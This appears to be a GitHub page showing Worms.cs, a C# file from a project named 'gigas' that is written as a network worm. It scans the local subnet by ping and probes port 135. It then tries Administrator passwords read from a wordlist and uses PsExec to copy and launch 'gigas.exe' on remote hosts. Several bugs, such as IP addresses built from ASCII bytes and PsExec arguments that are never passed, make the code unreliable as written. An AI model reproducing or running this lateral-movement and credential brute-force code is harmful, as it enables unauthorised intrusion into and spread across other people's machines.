-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathWorms.cs
160 lines (117 loc) · 4.48 KB
/
Worms.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
using System.Globalization;
namespace gigas;
using System;
using System.Net;
using System.Net.NetworkInformation;
using System.Threading.Tasks;
using System.Net.Sockets;
using System.Diagnostics;
using System.Text;
using System.Text.RegularExpressions;
public class Worms
{
public static async void Entrypoint(string pwl)
{
NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces();
if (nics == null || nics.Length < 1)
{
Console.WriteLine(" No network interfaces found.");
return;
}
foreach (NetworkInterface adapter in nics)
{
IPInterfaceProperties ipProps = adapter.GetIPProperties();
foreach (UnicastIPAddressInformation ip in ipProps.UnicastAddresses)
{
if (ip.Address.AddressFamily == AddressFamily.InterNetwork)
{
IPAddress address = ip.Address;
foreach (UnicastIPAddressInformation unicastIPAddressInformation in adapter.GetIPProperties().UnicastAddresses)
{
if (unicastIPAddressInformation.Address.AddressFamily == AddressFamily.InterNetwork)
{
if (address.Equals(unicastIPAddressInformation.Address))
{
IPAddress f = unicastIPAddressInformation.IPv4Mask;
string bp = f.ToString();
await Def(pwl, bp);
}
}
}
}
}
}
}
private static async Task Def(string pwl, string baseip)
{
IEnumerable<string> lines = File.ReadLines(pwl);
List<string> addrs = new List<string>();
string path = Environment.ProcessPath;
string pattern = @"\.\d+$";
// Replace the matched pattern with an empty string
string result = Regex.Replace(baseip, pattern, "");
int s = 1;
int e = 254;
for (int i = s; i <= e; i++)
{
string ip = result + i;
if (await PingHost(ip))
{
Console.WriteLine($"{ip} is active.");
addrs.Add(ip);
}
}
await Spread(addrs, lines, path);
}
private static async Task<bool> Spread(List<string> adrs, IEnumerable<string> pwl, string path)
{
using (TcpClient tcl = new TcpClient ())
{
for (int i = 0; i <= adrs.Count; i++)
{
try
{
byte[] bytes = Encoding.ASCII.GetBytes(adrs[i]);
IPAddress nadr = new IPAddress(bytes);
IPEndPoint edp = new IPEndPoint(nadr, 135);
await tcl.ConnectAsync(edp);
foreach (string line in pwl)
{
string arguments = $@"\\{adrs[i]} -u Administrator -p {line} -c -csrc ""{path} gigas.exe";
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = "C:\\Windows\\System32\\PsExec.exe",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
};
using (Process proc = Process.Start(psi))
{
proc.WaitForExit();
}
}
return true;
}
catch
{
return false;
}
}
}
return true;
}
private static async Task<bool> PingHost(string s)
{
using (Ping ping = new Ping())
{
try
{
PingReply reply = await ping.SendPingAsync(s, 1000);
return reply.Status == IPStatus.Success;
}
catch
{
return false;
}
}
}
}